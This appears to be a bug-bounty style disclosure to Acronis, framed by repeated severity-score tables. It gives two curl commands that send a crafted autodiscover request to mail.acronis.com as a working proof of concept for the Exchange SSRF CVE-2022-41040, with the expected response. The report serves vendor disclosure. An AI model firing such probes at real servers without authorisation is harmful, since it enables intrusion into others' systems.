8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.957 High
EPSS
Percentile
99.1%
Hello Acronis team,
Please run
curl -ksL -m5 -o /dev/null -I -w “%{http_code}” “https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/[email protected]&Protocol=ActiveSync”
curl -ksL -m5 “https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/[email protected]&Protocol=ActiveSync” | grep Protocol
and get following output
404 and {“Protocol”:“ActiveSync”,“Url”:“https://eas.outlook.com/Microsoft-Server-ActiveSync”}
Proving that mail.acronis.com is vulnerable to CVE-2022-41040
Poc video attached
SSRF can be used to for unauthorized actions or access to confidential data.
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.957 High
EPSS
Percentile
99.1%